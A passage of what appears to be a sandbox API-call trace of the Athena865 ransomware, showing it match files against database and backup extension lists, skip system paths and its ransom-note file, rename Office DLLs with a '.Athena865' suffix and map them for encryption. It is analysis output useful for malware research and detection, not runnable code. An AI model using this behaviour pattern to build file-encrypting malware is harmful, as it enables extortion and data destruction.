lstrlenW (lpString="vhd") returned 3 [0114.340] lstrcmpiW (lpString1="DLL", lpString2="vhd") returned -1 [0114.340] lstrlenW (lpString="vhdx") returned 4 [0114.340] lstrcmpiW (lpString1=".DLL", lpString2="vhdx") returned -1 [0114.340] lstrlenW (lpString="avhd") returned 4 [0114.340] lstrcmpiW (lpString1=".DLL", lpString2="avhd") returned -1 [0114.340] lstrlenW (lpString="db") returned 2 [0114.340] lstrcmpiW (lpString1="LL", lpString2="db") returned 1 [0114.340] lstrlenW (lpString="db2") returned 3 [0114.340] lstrcmpiW (lpString1="DLL", lpString2="db2") returned 1 [0114.340] lstrlenW (lpString="db3") returned 3 [0114.340] lstrcmpiW (lpString1="DLL", lpString2="db3") returned 1 [0114.340] lstrlenW (lpString="dbf") returned 3 [0114.340] lstrcmpiW (lpString1="DLL", lpString2="dbf") returned 1 [0114.340] lstrlenW (lpString="mdf") returned 3 [0114.340] lstrcmpiW (lpString1="DLL", lpString2="mdf") returned -1 [0114.340] lstrlenW (lpString="mdb") returned 3 [0114.340] lstrcmpiW (lpString1="DLL", lpString2="mdb") returned -1 [0114.340] lstrlenW (lpString="sql") returned 3 [0114.340] lstrcmpiW (lpString1="DLL", lpString2="sql") returned -1 [0114.340] lstrlenW (lpString="sqlite") returned 6 [0114.340] lstrcmpiW (lpString1="XY.DLL", lpString2="sqlite") returned 1 [0114.340] lstrlenW (lpString="sqlite3") returned 7 [0114.340] lstrcmpiW (lpString1="OXY.DLL", lpString2="sqlite3") returned -1 [0114.341] lstrlenW (lpString="sqlitedb") returned 8 [0114.341] lstrcmpiW (lpString1="ROXY.DLL", lpString2="sqlitedb") returned -1 [0114.341] lstrlenW (lpString="xml") returned 3 [0114.341] lstrcmpiW (lpString1="DLL", lpString2="xml") returned -1 [0114.341] lstrlenW (lpString="$er") returned 3 [0114.341] lstrcmpiW (lpString1="DLL", lpString2="$er") returned 1 [0114.341] lstrlenW (lpString="4dd") returned 3 [0114.341] lstrcmpiW (lpString1="DLL", lpString2="4dd") returned 1 [0114.341] lstrlenW (lpString="4dl") returned 3 [0114.341] lstrcmpiW (lpString1="DLL", lpString2="4dl") returned 1 [0114.341] lstrlenW (lpString="^^^") returned 3 [0114.341] lstrcmpiW (lpString1="DLL", lpString2="^^^") returned 1 [0114.341] lstrlenW (lpString="abs") returned 3 [0114.341] lstrcmpiW (lpString1="DLL", lpString2="abs") returned 1 [0114.341] lstrlenW (lpString="abx") returned 3 [0114.341] lstrcmpiW (lpString1="DLL", lpString2="abx") returned 1 [0114.341] lstrlenW (lpString="accdb") returned 5 [0114.341] lstrcmpiW (lpString1="Y.DLL", lpString2="accdb") returned 1 [0114.341] lstrlenW (lpString="accdc") returned 5 [0114.341] lstrcmpiW (lpString1="Y.DLL", lpString2="accdc") returned 1 [0114.341] lstrlenW (lpString="accde") returned 5 [0114.341] lstrcmpiW (lpString1="Y.DLL", lpString2="accde") returned 1 [0114.341] lstrlenW (lpString="accdr") returned 5 [0114.341] lstrcmpiW (lpString1="Y.DLL", lpString2="accdr") returned 1 [0114.341] lstrlenW (lpString="accdt") returned 5 [0114.341] lstrcmpiW (lpString1="Y.DLL", lpString2="accdt") returned 1 [0114.341] lstrlenW (lpString="accdw") returned 5 [0114.341] lstrcmpiW (lpString1="Y.DLL", lpString2="accdw") returned 1 [0114.341] lstrlenW (lpString="accft") returned 5 [0114.341] lstrcmpiW (lpString1="Y.DLL", lpString2="accft") returned 1 [0114.341] lstrlenW (lpString="adb") returned 3 [0114.342] lstrcmpiW (lpString1="DLL", lpString2="adb") returned 1 [0114.342] lstrlenW (lpString="adb") returned 3 [0114.342] lstrcmpiW (lpString1="DLL", lpString2="adb") returned 1 [0114.342] lstrlenW (lpString="ade") returned 3 [0114.342] lstrcmpiW (lpString1="DLL", lpString2="ade") returned 1 [0114.342] lstrlenW (lpString="adf") returned 3 [0114.342] lstrcmpiW (lpString1="DLL", lpString2="adf") returned 1 [0114.342] lstrlenW (lpString="adn") returned 3 [0114.342] lstrcmpiW (lpString1="DLL", lpString2="adn") returned 1 [0114.342] lstrlenW (lpString="adp") returned 3 [0114.342] lstrcmpiW (lpString1="DLL", lpString2="adp") returned 1 [0114.342] lstrlenW (lpString="alf") returned 3 [0114.342] lstrcmpiW (lpString1="DLL", lpString2="alf") returned 1 [0114.342] lstrlenW (lpString="ask") returned 3 [0114.342] lstrcmpiW (lpString1="DLL", lpString2="ask") returned 1 [0114.342] lstrlenW (lpString="btr") returned 3 [0114.342] lstrcmpiW (lpString1="DLL", lpString2="btr") returned 1 [0114.342] lstrlenW (lpString="cat") returned 3 [0114.342] lstrcmpiW (lpString1="DLL", lpString2="cat") returned 1 [0114.342] lstrlenW (lpString="cdb") returned 3 [0114.342] lstrcmpiW (lpString1="DLL", lpString2="cdb") returned 1 [0114.342] lstrlenW (lpString="ckp") returned 3 [0114.342] lstrcmpiW (lpString1="DLL", lpString2="ckp") returned 1 [0114.342] lstrlenW (lpString="cma") returned 3 [0114.342] lstrcmpiW (lpString1="DLL", lpString2="cma") returned 1 [0114.342] lstrlenW (lpString="cpd") returned 3 [0114.342] lstrcmpiW (lpString1="DLL", lpString2="cpd") returned 1 [0114.342] lstrlenW (lpString="dacpac") returned 6 [0114.342] lstrcmpiW (lpString1="XY.DLL", lpString2="dacpac") returned 1 [0114.343] lstrlenW (lpString="dad") returned 3 [0114.343] lstrcmpiW (lpString1="DLL", lpString2="dad") returned 1 [0114.343] lstrlenW (lpString="dadiagrams") returned 10 [0114.343] lstrcmpiW (lpString1="HPROXY.DLL", lpString2="dadiagrams") returned 1 [0114.343] lstrlenW (lpString="daschema") returned 8 [0114.343] lstrcmpiW (lpString1="ROXY.DLL", lpString2="daschema") returned 1 [0114.343] lstrlenW (lpString="db-journal") returned 10 [0114.343] lstrcmpiW (lpString1="HPROXY.DLL", lpString2="db-journal") returned 1 [0114.343] lstrlenW (lpString="db-shm") returned 6 [0114.343] lstrcmpiW (lpString1="XY.DLL", lpString2="db-shm") returned 1 [0114.343] lstrlenW (lpString="db-wal") returned 6 [0114.343] lstrcmpiW (lpString1="XY.DLL", lpString2="db-wal") returned 1 [0114.343] lstrlenW (lpString="dbc") returned 3 [0114.343] lstrcmpiW (lpString1="DLL", lpString2="dbc") returned 1 [0114.343] lstrlenW (lpString="dbs") returned 3 [0114.343] lstrcmpiW (lpString1="DLL", lpString2="dbs") returned 1 [0114.343] lstrlenW (lpString="dbt") returned 3 [0114.343] lstrcmpiW (lpString1="DLL", lpString2="dbt") returned 1 [0114.343] lstrlenW (lpString="dbv") returned 3 [0114.343] lstrcmpiW (lpString1="DLL", lpString2="dbv") returned 1 [0114.343] lstrlenW (lpString="dbx") returned 3 [0114.343] lstrcmpiW (lpString1="DLL", lpString2="dbx") returned 1 [0114.343] lstrlenW (lpString="dcb") returned 3 [0114.343] lstrcmpiW (lpString1="DLL", lpString2="dcb") returned 1 [0114.343] lstrcmpiW (lpString1="DLL", lpString2="dct") returned 1 [0114.343] lstrcmpiW (lpString1="DLL", lpString2="dcx") returned 1 [0114.343] lstrcmpiW (lpString1="DLL", lpString2="ddl") returned 1 [0114.344] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\OPHPROXY.DLL.Athena865") returned 78 [0114.344] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\OPHPROXY.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\ophproxy.dll"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\OPHPROXY.DLL.Athena865" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\ophproxy.dll.athena865"), dwFlags=0x1) returned 1 [0114.345] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\OPHPROXY.DLL.Athena865" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\ophproxy.dll.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0114.345] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=19848) returned 1 [0114.345] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0114.345] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x538e10 [0114.345] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x519cc8 [0114.346] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x519c40) returned 1 [0114.346] CryptGenRandom (in: hProv=0x519c40, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0114.346] CryptReleaseContext (hProv=0x519c40, dwFlags=0x0) returned 1 [0114.346] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x5090, lpName=0x0) returned 0x154 [0114.350] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x5090) returned 0x100000 [0114.352] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x519c40) returned 1 [0114.352] CryptGenRandom (in: hProv=0x519c40, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0114.352] CryptReleaseContext (hProv=0x519c40, dwFlags=0x0) returned 1 [0114.352] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x538d98 [0114.352] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x538d98 | out: hHeap=0x4f0000) returned 1 [0114.352] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x54dd40 [0114.353] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0114.353] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54dd40 | out: hHeap=0x4f0000) returned 1 [0114.353] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0114.353] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x54dd40 [0114.353] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0114.353] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54dd40 | out: hHeap=0x4f0000) returned 1 [0114.353] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0114.353] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0114.353] CloseHandle (hObject=0x154) returned 1 [0114.353] CloseHandle (hObject=0x17c) returned 1 [0114.353] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x538e10 | out: hHeap=0x4f0000) returned 1 [0114.353] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x519cc8 | out: hHeap=0x4f0000) returned 1 [0114.353] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0114.354] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf6a43200, ftCreationTime.dwHighDateTime=0x1cb700e, ftLastAccessTime.dwLowDateTime=0xcf47ffa0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xf6a43200, ftLastWriteTime.dwHighDateTime=0x1cb700e, nFileSizeHigh=0x0, nFileSizeLow=0x47a0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="OPTINPS.DLL", cAlternateFileName="")) returned 1 [0114.354] lstrcmpiW (lpString1="OPTINPS.DLL", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0114.354] lstrcmpiW (lpString1="OPTINPS.DLL", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0114.354] lstrcmpiW (lpString1="OPTINPS.DLL", lpString2=".") returned 1 [0114.354] lstrcmpiW (lpString1="OPTINPS.DLL", lpString2="..") returned 1 [0114.354] lstrcmpiW (lpString1="OPTINPS.DLL", lpString2="windows") returned -1 [0114.354] lstrcmpiW (lpString1="OPTINPS.DLL", lpString2="bootmgr") returned 1 [0114.354] lstrcmpiW (lpString1="OPTINPS.DLL", lpString2="temp") returned -1 [0114.354] lstrcmpiW (lpString1="OPTINPS.DLL", lpString2="pagefile.sys") returned -1 [0114.354] lstrcmpiW (lpString1="OPTINPS.DLL", lpString2="boot") returned 1 [0114.354] lstrcmpiW (lpString1="OPTINPS.DLL", lpString2="ids.txt") returned 1 [0114.354] lstrcmpiW (lpString1="OPTINPS.DLL", lpString2="ntuser.dat") returned 1 [0114.354] lstrcmpiW (lpString1="OPTINPS.DLL", lpString2="perflogs") returned -1 [0114.354] lstrcmpiW (lpString1="OPTINPS.DLL", lpString2="MSBuild") returned 1 [0114.354] lstrlenW (lpString="OPTINPS.DLL") returned 11 [0114.354] lstrcpyW (in: lpString1=0x241e8b8, lpString2="OPTINPS.DLL" | out: lpString1="OPTINPS.DLL") returned="OPTINPS.DLL" [0114.354] lstrlenW (lpString="OPTINPS.DLL") returned 11 [0114.354] lstrlenW (lpString="Athena865") returned 9 [0114.354] lstrcmpiW (lpString1="TINPS.DLL", lpString2="Athena865") returned 1 [0114.354] lstrlenW (lpString=".dll") returned 4 [0114.354] lstrcmpiW (lpString1="OPTINPS.DLL", lpString2=".dll") returned 1 [0114.354] lstrlenW (lpString=".lnk") returned 4 [0114.354] lstrcmpiW (lpString1="OPTINPS.DLL", lpString2=".lnk") returned 1 [0114.354] lstrlenW (lpString=".ini") returned 4 [0114.355] lstrcmpiW (lpString1="OPTINPS.DLL", lpString2=".ini") returned 1 [0114.355] lstrlenW (lpString=".sys") returned 4 [0114.355] lstrcmpiW (lpString1="OPTINPS.DLL", lpString2=".sys") returned 1 [0114.355] lstrlenW (lpString="OPTINPS.DLL") returned 11 [0114.355] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\OPTINPS.DLL.Athena865") returned 77 [0114.355] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\OPTINPS.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\optinps.dll"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\OPTINPS.DLL.Athena865" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\optinps.dll.athena865"), dwFlags=0x1) returned 1 [0114.356] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\OPTINPS.DLL.Athena865" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\optinps.dll.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0114.356] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=18336) returned 1 [0114.357] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0114.357] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x538e10 [0114.357] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x519cc8 [0114.357] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x519c40) returned 1 [0114.358] CryptGenRandom (in: hProv=0x519c40, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0114.358] CryptReleaseContext (hProv=0x519c40, dwFlags=0x0) returned 1 [0114.358] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x4aa0, lpName=0x0) returned 0x154 [0114.359] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x4aa0) returned 0x100000 [0114.361] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x519c40) returned 1 [0114.361] CryptGenRandom (in: hProv=0x519c40, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0114.361] CryptReleaseContext (hProv=0x519c40, dwFlags=0x0) returned 1 [0114.361] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x538d98 [0114.361] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x538d98 | out: hHeap=0x4f0000) returned 1 [0114.361] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x54dd40 [0114.361] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0114.362] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54dd40 | out: hHeap=0x4f0000) returned 1 [0114.362] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0114.362] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x54dd40 [0114.362] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0114.362] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54dd40 | out: hHeap=0x4f0000) returned 1 [0114.362] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0114.362] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0114.362] CloseHandle (hObject=0x154) returned 1 [0114.362] CloseHandle (hObject=0x17c) returned 1 [0114.362] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x538e10 | out: hHeap=0x4f0000) returned 1 [0114.362] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x519cc8 | out: hHeap=0x4f0000) returned 1 [0114.362] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0114.363] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1570ec00, ftCreationTime.dwHighDateTime=0x1cbc479, ftLastAccessTime.dwLowDateTime=0xe5d21520, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x1570ec00, ftLastWriteTime.dwHighDateTime=0x1cbc479, nFileSizeHigh=0x0, nFileSizeLow=0xb7ba8, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="PJ11OD11.DLL", cAlternateFileName="")) returned 1 [0114.363] lstrcmpiW (lpString1="PJ11OD11.DLL", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0114.363] lstrcmpiW (lpString1="PJ11OD11.DLL", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0114.363] lstrcmpiW (lpString1="PJ11OD11.DLL", lpString2=".") returned 1 [0114.363] lstrcmpiW (lpString1="PJ11OD11.DLL", lpString2="..") returned 1 [0114.363] lstrcmpiW (lpString1="PJ11OD11.DLL", lpString2="windows") returned -1 [0114.363] lstrcmpiW (lpString1="PJ11OD11.DLL", lpString2="bootmgr") returned 1 [0114.363] lstrcmpiW (lpString1="PJ11OD11.DLL", lpString2="temp") returned -1 [0114.363] lstrcmpiW (lpString1="PJ11OD11.DLL", lpString2="pagefile.sys") returned 1 [0114.363] lstrcmpiW (lpString1="PJ11OD11.DLL", lpString2="boot") returned 1 [0114.363] lstrcmpiW (lpString1="PJ11OD11.DLL", lpString2="ids.txt") returned 1 [0114.363] lstrcmpiW (lpString1="PJ11OD11.DLL", lpString2="ntuser.dat") returned 1 [0114.363] lstrcmpiW (lpString1="PJ11OD11.DLL", lpString2="perflogs") returned 1 [0114.363] lstrcmpiW (lpString1="PJ11OD11.DLL", lpString2="MSBuild") returned 1 [0114.363] lstrlenW (lpString="PJ11OD11.DLL") returned 12 [0114.363] lstrcpyW (in: lpString1=0x241e8b8, lpString2="PJ11OD11.DLL" | out: lpString1="PJ11OD11.DLL") returned="PJ11OD11.DLL" [0114.363] lstrlenW (lpString="PJ11OD11.DLL") returned 12 [0114.363] lstrlenW (lpString="Athena865") returned 9 [0114.363] lstrcmpiW (lpString1="1OD11.DLL", lpString2="Athena865") returned -1 [0114.363] lstrlenW (lpString=".dll") returned 4 [0114.363] lstrcmpiW (lpString1="PJ11OD11.DLL", lpString2=".dll") returned 1 [0114.363] lstrlenW (lpString=".lnk") returned 4 [0114.363] lstrcmpiW (lpString1="PJ11OD11.DLL", lpString2=".lnk") returned 1 [0114.363] lstrlenW (lpString=".ini") returned 4 [0114.363] lstrcmpiW (lpString1="PJ11OD11.DLL", lpString2=".ini") returned 1 [0114.363] lstrlenW (lpString=".sys") returned 4 [0114.363] lstrcmpiW (lpString1="PJ11OD11.DLL", lpString2=".sys") returned 1 [0114.364] lstrlenW (lpString="PJ11OD11.DLL") returned 12 [0114.364] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\PJ11OD11.DLL.Athena865") returned 78 [0114.364] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\PJ11OD11.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\pj11od11.dll"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\PJ11OD11.DLL.Athena865" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\pj11od11.dll.athena865"), dwFlags=0x1) returned 1 [0114.365] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\PJ11OD11.DLL.Athena865" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\pj11od11.dll.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0114.366] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=752552) returned 1 [0114.366] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0114.366] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x538e10 [0114.366] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x519cc8 [0114.366] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x519c40) returned 1 [0114.367] CryptGenRandom (in: hProv=0x519c40, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0114.367] CryptReleaseContext (hProv=0x519c40, dwFlags=0x0) returned 1 [0114.367] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0xb7eb0, lpName=0x0) returned 0x154 [0114.368] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xb7eb0) returned 0x2d50000 [0114.417] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x519c40) returned 1 [0114.418] CryptGenRandom (in: hProv=0x519c40, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0114.418] CryptReleaseContext (hProv=0x519c40, dwFlags=0x0) returned 1 [0114.418] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x538d98 [0114.418] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x538d98 | out: hHeap=0x4f0000) returned 1 [0114.418] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x54dd40 [0114.418] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0114.418] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54dd40 | out: hHeap=0x4f0000) returned 1 [0114.418] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0114.419] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x54dd40 [0114.419] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0114.419] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54dd40 | out: hHeap=0x4f0000) returned 1 [0114.419] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0114.419] UnmapViewOfFile (lpBaseAddress=0x2d50000) returned 1 [0114.425] CloseHandle (hObject=0x154) returned 1 [0114.425] CloseHandle (hObject=0x17c) returned 1 [0114.425] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x538e10 | out: hHeap=0x4f0000) returned 1 [0114.425] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x519cc8 | out: hHeap=0x4f0000) returned 1 [0114.425] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0114.429] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9a461000, ftCreationTime.dwHighDateTime=0x1cb7018, ftLastAccessTime.dwLowDateTime=0xe5d47680, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x9a461000, ftLastWriteTime.dwHighDateTime=0x1cb7018, nFileSizeHigh=0x0, nFileSizeLow=0x3fb90, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="PJRESC.DLL", cAlternateFileName="")) returned 1 [0114.429] lstrcmpiW (lpString1="PJRESC.DLL", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0114.429] lstrcmpiW (lpString1="PJRESC.DLL", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0114.429] lstrcmpiW (lpString1="PJRESC.DLL", lpString2=".") returned 1 [0114.429] lstrcmpiW (lpString1="PJRESC.DLL", lpString2="..") returned 1 [0114.429] lstrcmpiW (lpString1="PJRESC.DLL", lpString2="windows") returned -1 [0114.429] lstrcmpiW (lpString1="PJRESC.DLL", lpString2="bootmgr") returned 1 [0114.429] lstrcmpiW (lpString1="PJRESC.DLL", lpString2="temp") returned -1 [0114.429] lstrcmpiW (lpString1="PJRESC.DLL", lpString2="pagefile.sys") returned 1 [0114.429] lstrcmpiW (lpString1="PJRESC.DLL", lpString2="boot") returned 1 [0114.429] lstrcmpiW (lpString1="PJRESC.DLL", lpString2="ids.txt") returned 1 [0114.429] lstrcmpiW (lpString1="PJRESC.DLL", lpString2="ntuser.dat") returned 1 [0114.429] lstrcmpiW (lpString1="PJRESC.DLL", lpString2="perflogs") returned 1 [0114.429] lstrcmpiW (lpString1="PJRESC.DLL", lpString2="MSBuild") returned 1 [0114.429] lstrlenW (lpString="PJRESC.DLL") returned 10 [0114.429] lstrcpyW (in: lpString1=0x241e8b8, lpString2="PJRESC.DLL" | out: lpString1="PJRESC.DLL") returned="PJRESC.DLL" [0114.429] lstrlenW (lpString="PJRESC.DLL") returned 10 [0114.429] lstrlenW (lpString="Athena865") returned 9 [0114.429] lstrcmpiW (lpString1="JRESC.DLL", lpString2="Athena865") returned 1 [0114.429] lstrlenW (lpString=".dll") returned 4 [0114.429] lstrcmpiW (lpString1="PJRESC.DLL", lpString2=".dll") returned 1 [0114.429] lstrlenW (lpString=".lnk") returned 4 [0114.429] lstrcmpiW (lpString1="PJRESC.DLL", lpString2=".lnk") returned 1 [0114.429] lstrlenW (lpString=".ini") returned 4 [0114.430] lstrcmpiW (lpString1="PJRESC.DLL", lpString2=".ini") returned 1 [0114.430] lstrlenW (lpString=".sys") returned 4 [0114.430] lstrcmpiW (lpString1="PJRESC.DLL", lpString2=".sys") returned 1 [0114.430] lstrlenW (lpString="PJRESC.DLL") returned 10 [0114.430] lstrlenW (lpString="bak") returned 3 [0114.430] lstrcmpiW (lpString1="DLL", lpString2="bak") returned 